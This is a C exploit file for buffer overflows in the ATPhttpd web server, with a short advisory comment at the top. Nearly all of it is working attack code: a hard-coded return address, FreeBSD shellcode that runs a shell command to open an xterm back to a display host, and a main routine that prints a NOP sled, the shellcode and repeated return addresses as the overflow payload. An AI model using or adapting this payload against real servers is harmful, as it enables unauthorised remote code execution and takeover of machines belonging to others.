52 lines
No EOL
2.2 KiB
C
52 lines
No EOL
2.2 KiB
C
/*
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source: https://www.securityfocus.com/bid/5215/info
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ATPhttpd is a small webserver designed for high-performance. It was developed by Yann Ramin.
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There exist several exploitable buffer overflow conditions in ATPhttpd. Remote attackers may levarage these vulnerabilities to gain access on affected servers.
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*/
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/* atphttpd exploit.
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/ The exploit sucks, if you get it wrong the first time the server just dies
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/ so I didnt bother adding any offset argument to the exploit. Also if you
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/ change the IP addy you may have to change the alignment a little.
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/
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/ http://www.badc0ded.com
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*/
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#define ret "\x78\xf5\xbf\xbf"
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char FreeBSD[]= /* stolen lsd-pl.net shellcode */
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"\xeb\x25" /* jmp <cmdshellcode+39> */
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"\x59" /* popl %ecx */
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"\x31\xc0" /* xorl %eax,%eax */
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"\x50" /* pushl %eax */
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"\x68""//sh" /* pushl $0x68732f2f */
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"\x68""/bin" /* pushl $0x6e69622f */
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"\x89\xe3" /* movl %esp,%ebx */
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"\x50" /* pushl %eax */
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"\x66\x68""-c" /* pushw $0x632d */
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"\x89\xe7" /* movl %esp,%edi */
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"\x50" /* pushl %eax */
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"\x51" /* pushl %ecx */
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"\x57" /* pushl %edi */
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"\x53" /* pushl %ebx */
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"\x89\xe7" /* movl %esp,%edi */
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"\x50" /* pushl %eax */
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"\x57" /* pushl %edi */
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"\x53" /* pushl %ebx */
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"\x50" /* pushl %eax */
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"\xb0\x3b" /* movb $0x0b,%al */
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"\xcd\x80" /* int $0x80 */
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"\xe8\xd6\xff\xff\xff" /* call <cmdshellcode+2> */
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"/usr/X11R6/bin/xterm -display 127.0.0.1:0;";
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main ()
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{
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int i;
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for (i=0;i<=501;i++) // this would be a good place to change alignment
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printf("\x90");
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printf("%s",FreeBSD);
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for (i=0;i<=100;i++)
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printf("%s",ret);
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printf("\n\n");
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} |